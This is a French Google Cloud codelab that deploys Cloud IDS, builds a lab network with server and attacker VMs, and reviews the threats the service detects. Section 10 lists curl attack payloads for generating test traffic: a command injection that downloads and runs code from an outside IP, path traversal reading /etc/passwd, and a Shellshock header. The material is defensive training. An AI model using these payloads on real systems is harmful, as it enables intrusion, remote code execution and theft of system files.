Cloud IDS

1. Introduction

Dans cet atelier, vous allez déployer Cloud IDS, un service de détection avancée des intrusions de nouvelle génération qui assure la détection des menaces telles que les intrusions, les logiciels malveillants, les logiciels espions et les attaques de commande et de contrôle. Vous simulerez plusieurs attaques et consulterez les détails des menaces dans la console Cloud.

Points abordés

  • Créer un point de terminaison Cloud IDS
  • Créer deux machines virtuelles avec des commandes gcloud
  • Créer une règle de mise en miroir de paquets
  • Simuler le trafic d'une attaque à partir d'une machine virtuelle
  • Afficher les détails des menaces dans la console Cloud et dans Cloud Logging

Prérequis

  • Connaissances des commandes Linux de base

2. Cas d'utilisation de Cloud IDS

Cloud IDS est un service de détection des intrusions (IDS) de nouvelle génération natif de Google Cloud. Il permet aux clients de répondre à leurs besoins de détection avancée des menaces et de conformité, comme la norme PCI 11.4. Le service est optimisé par les technologies de protection contre les menaces de Palo Alto Networks pour fournir une détection avancée des intrusions. En combinant l'infrastructure de pointe de Google Cloud et la sécurité de premier ordre de Palo Alto Networks, les clients bénéficient d'une combinaison inégalée de services de détection avancée des menaces entièrement gérés, performants et offrant une efficacité de sécurité maximale.

La sécurité est une priorité pour les clients qui migrent vers le cloud. Ils souhaitent disposer des mêmes contrôles de sécurité que sur site, tels que le service de détection des intrusions (IDS) dans le cloud. Ils préfèrent fortement utiliser une solution IDS gérée native du cloud pour faciliter le déploiement, obtenir des performances élevées et optimiser les coûts par rapport au déploiement d'une solution de sécurité tierce et à la gestion de l'infrastructure ou à l'apport de leurs propres signatures. Google Cloud IDS est un service IDS géré de bout en bout et à autoscaling. Il permet aux clients de consacrer leur temps à l'analyse et à l'atténuation des menaces, et de libérer du temps et des ressources pour la gestion de l'infrastructure ou des signatures de menaces.

Cloud IDS est déployé hors bande. Il peut détecter les menaces et envoyer des alertes, mais il ne peut pas les bloquer. Il s'appuie sur la mise en miroir de paquets Google Cloud pour créer une copie du trafic réseau qui est analysée à l'aide du moteur de détection des menaces Palo Alto Network.

3. Topologie de l'atelier de programmation

5a276f399e1d31e2.png

Figure 1. Présentation de l'architecture de haut niveau du déploiement Cloud IDS pour cet atelier.

4. Préparation

Configuration de l'environnement au rythme de chacun

  1. Connectez-vous à la console Google Cloud, puis créez un projet ou réutilisez un projet existant. (Si vous ne possédez pas encore de compte Gmail ou Google Workspace, vous devez en créer un.)

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Le nom du projet est le nom à afficher pour les participants au projet. Il s'agit d'une chaîne de caractères qui n'est pas utilisée par les API Google, et que vous pouvez modifier à tout moment.
  • L'ID du projet doit être unique sur l'ensemble des projets Google Cloud et doit être immuable (vous ne pouvez pas le modifier une fois que vous l'avez défini). Cloud Console génère automatiquement une chaîne unique dont la composition importe peu, en général. Dans la plupart des ateliers de programmation, vous devrez référencer l'ID du projet (généralement identifié comme PROJECT_ID), donc s'il ne vous convient pas, générez-en un autre au hasard ou définissez le vôtre, puis vérifiez s'il est disponible. Il est ensuite "gelé" une fois le projet créé.
  • La troisième valeur est le numéro de projet, utilisé par certaines API. Pour en savoir plus sur ces trois valeurs, consultez la documentation.
  1. Vous devez ensuite activer la facturation dans Cloud Console afin d'utiliser les ressources/API Cloud. L'exécution de cet atelier de programmation est très peu coûteuse, voire sans frais. Pour arrêter les ressources afin d'éviter qu'elles ne vous soient facturées après ce tutoriel, suivez les instructions de nettoyage indiquées à la fin de l'atelier. Les nouveaux utilisateurs de Google Cloud peuvent participer au programme d'essai sans frais pour bénéficier d'un crédit de 300$.

Démarrer Cloud Shell

Bien que Google Cloud puisse être utilisé à distance depuis votre ordinateur portable, nous allons nous servir de Google Cloud Shell pour cet atelier de programmation, un environnement de ligne de commande exécuté dans le cloud.

Depuis la console GCP, cliquez sur l'icône Cloud Shell de la barre d'outils située dans l'angle supérieur droit :

bce75f34b2c53987.png

Le provisionnement et la connexion à l'environnement prennent quelques instants seulement. Une fois l'opération terminée, le résultat devrait ressembler à ceci :

f6ef2b5f13479f3a.png

Cette machine virtuelle contient tous les outils de développement nécessaires. Elle comprend un répertoire d'accueil persistant de 5 Go et s'exécute sur Google Cloud, ce qui améliore nettement les performances du réseau et l'authentification. Vous pouvez réaliser toutes les activités de cet atelier dans un simple navigateur.

5. Avant de commencer

Activer les API

Dans Cloud Shell, assurez-vous que l'ID de votre projet est configuré.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Activez tous les services nécessaires.

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Créer un réseau VPC

Réseau VPC

Depuis Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Sous-réseau

Depuis Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Accès aux services privés

Depuis Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connect

Depuis Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Règles de pare-feu

Pour permettre à IAP de se connecter à vos instances de VM, créez une règle de pare-feu qui :

  • S'applique à toutes les instances de VM auxquelles vous souhaitez être accessible à l'aide d'IAP.
  • Autorise le trafic entrant à partir de la plage d'adresses IP 35.235.240.0/20. Cette plage contient toutes les adresses IP qu'IAP utilise pour le transfert TCP.

Depuis Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Pour autoriser le port HTTP standard (TCP 80) et le protocole ICMP sur le serveur :

  • S'applique aux ressources avec le tag réseau "server"
  • Autorise l'entrée depuis toutes les sources

Depuis Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Créer une instance Cloud NAT

Cloud Router

Depuis Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Depuis Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Créer un point de terminaison Cloud IDS

Dans cette section, vous allez créer un point de terminaison Cloud IDS dans la région us-east1, avec une gravité définie sur "informationnelle". La création d'un point de terminaison IDS prend environ 20 minutes.

Point de terminaison IDS

Depuis Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Vérifier que le point de terminaison Cloud IDS est lancé

gcloud ids endpoints list --project=$PROJECT_ID

Sortie :

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Créer deux machines virtuelles

Dans cette section, vous allez créer deux machines virtuelles. La première sera votre serveur Web, qui sera mis en miroir vers Cloud IDS. La seconde VM sera la source du trafic d'attaque.

Machine virtuelle 1 (serveur)

Depuis Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Machine virtuelle 2 (client)

Depuis Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Préparation du serveur

Dans cette tâche, vous allez valider votre serveur et fournir une charge utile inoffensive représentant le logiciel malveillant pour votre client.

Se connecter en SSH à la VM via Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Confirmer que le service Web est en cours d'exécution

sudo systemctl status nginx

Sortie : vérifiez que l'instance est active et en cours d'exécution

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Passez au répertoire du service Web.

cd /var/www/html/

Créer un fichier inoffensif représentant un logiciel malveillant sur le serveur Web

sudo touch eicar.file

Coller le contenu

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Revenir à Cloud Shell

exit

Créer une règle de mise en miroir de paquets vers Cloud IDS

Identifiez la règle de transfert du point de terminaison IDS et vérifiez que l'état du point de terminaison IDS est "READY" (PRÊT).

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Exemple de résultat : copiez la valeur de "endpointForwardingRule".

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Enregistrez la règle de transfert du point de terminaison IDS dans une variable.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Règle de mise en miroir de paquets

Depuis Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Vérifier que la règle de mise en miroir de paquets a été créée

Depuis Cloud Shell

gcloud compute packet-mirrorings list

Sortie

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simuler le trafic d'une attaque

Connectez-vous en SSH à la machine virtuelle de l'auteur de l'attaque (client).

Depuis Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Exécutez les requêtes curl suivantes pour simuler du trafic malveillant.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Quitter la VM pour revenir à Cloud Shell

exit

11. Examiner les menaces détectées par Cloud IDS

Accéder au tableau de bord Cloud IDS

Menu de navigation > Sécurité du réseau > Cloud IDS

37583419aa604aa8.png

Accédez à l'onglet "Menaces".

b7d934f409b4e2b.png

Comme vous pouvez le voir, le service Cloud IDS a capturé différents profils de trafic d'attaque et fournit les détails de chaque menace. Si la page n'affiche aucune menace, vous devrez peut-être cliquer sur le bouton "Actualiser". Nous allons maintenant approfondir l'analyse et examiner les détails des menaces.

Recherchez la menace "Bash Remote Code Execution Vulnerability" (Faille d'exécution de code à distance dans bash), puis cliquez sur les trois points à droite et sélectionnez "Afficher les détails de la menace".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Examinons maintenant les détails de cet incident dans Cloud Logging. Revenez à la page "Menaces" en cliquant sur la flèche vers la gauche .

Cliquez sur les trois points à droite, puis sélectionnez "Afficher les journaux des menaces".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Les mêmes informations sont fournies à Cloud Logging. Cela vous permet d'envoyer les journaux vers Cloud Storage, Chronicle ou n'importe quelle solution SIEM/SOAR. Vous pouvez également créer des workflows personnalisés afin de prendre des mesures correctives en fonction d'alertes, par exemple créer une fonction Cloud qui se déclenche en cas d'alerte, créer ou mettre à jour une règle de pare-feu pour bloquer l'adresse IP, ou bien créer ou mettre à jour une stratégie Cloud Armor.

12. Étapes de nettoyage

Quitter l'instance de VM (tous les onglets)

exit

Supprimer les composants de l'atelier à partir d'un seul terminal Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Félicitations !

Bravo ! Vous avez terminé cet atelier de programmation.

Points abordés

  • Cas d'utilisation de Cloud IDS
  • Configuration réseau requise
  • API compatibles
  • Création d'un point de terminaison Cloud IDS
  • Déploiement de deux VM
  • Généré du trafic d'attaque depuis le client
  • Des menaces validées ont été détectées par IDS
  • Examiner les détails et les journaux des menaces